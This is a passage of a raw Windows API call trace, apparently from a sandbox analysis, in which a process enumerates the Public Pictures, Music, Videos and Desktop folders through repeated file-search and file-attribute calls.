hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.806] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.807] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.807] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.807] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.807] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.807] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.807] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.807] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.807] FindClose (in: hFindFile=0x6fe9858 | out: hFindFile=0x6fe9858) returned 1 [0076.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.808] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0076.808] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9858 [0076.808] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.808] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.808] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.808] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.808] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.809] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.809] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.809] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.809] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.809] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.809] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.809] FindClose (in: hFindFile=0x6fe9858 | out: hFindFile=0x6fe9858) returned 1 [0076.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0076.810] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0076.810] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9858 [0076.810] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.810] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.810] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.810] FindNextFileW (in: hFindFile=0x6fe9858, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0076.810] FindClose (in: hFindFile=0x6fe9858 | out: hFindFile=0x6fe9858) returned 1 [0076.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0076.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0077.012] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0077.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0077.012] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0077.012] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0077.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0077.012] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0077.013] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0077.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0077.013] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0077.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0077.013] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0077.013] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe96d8 [0077.013] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.013] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.013] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.013] FindNextFileW (in: hFindFile=0x6fe96d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0077.013] FindClose (in: hFindFile=0x6fe96d8 | out: hFindFile=0x6fe96d8) returned 1 [0077.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0077.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0077.013] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0077.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0077.013] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music" (normalized: "c:\\users\\public\\music\\sample music"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0077.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.014] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0077.014] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0077.074] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.074] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.074] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.074] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.075] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.075] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0077.075] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0077.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.075] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0077.075] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0077.076] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.076] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.076] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.076] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.076] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.076] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0077.076] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0077.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0077.077] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0077.077] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9318 [0077.077] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.077] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.077] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.077] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0077.077] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0077.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0077.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0077.154] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0077.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0077.154] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0077.154] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0077.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0077.154] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0077.154] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0077.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0077.154] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0077.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0077.154] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0077.154] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9318 [0077.154] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.155] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.155] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.155] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0077.155] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0077.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0077.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0077.155] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0077.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0077.155] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos" (normalized: "c:\\users\\public\\videos\\sample videos"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0077.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.155] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0077.155] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0077.156] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.156] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.156] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.156] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0077.156] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0077.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.156] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0077.156] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0077.156] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.157] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.157] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.157] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0077.157] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0077.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0077.157] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0077.157] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9318 [0077.157] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.157] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.157] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.157] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0077.158] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0077.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0077.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0077.245] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0077.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0077.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdd5b3be0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xdd5b3be0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0077.246] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0077.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0077.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdd5b3be0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xdd5b3be0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0077.246] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0077.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0077.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdd5b3be0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xdd5b3be0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0077.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0077.246] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0077.246] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9798 [0077.246] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: 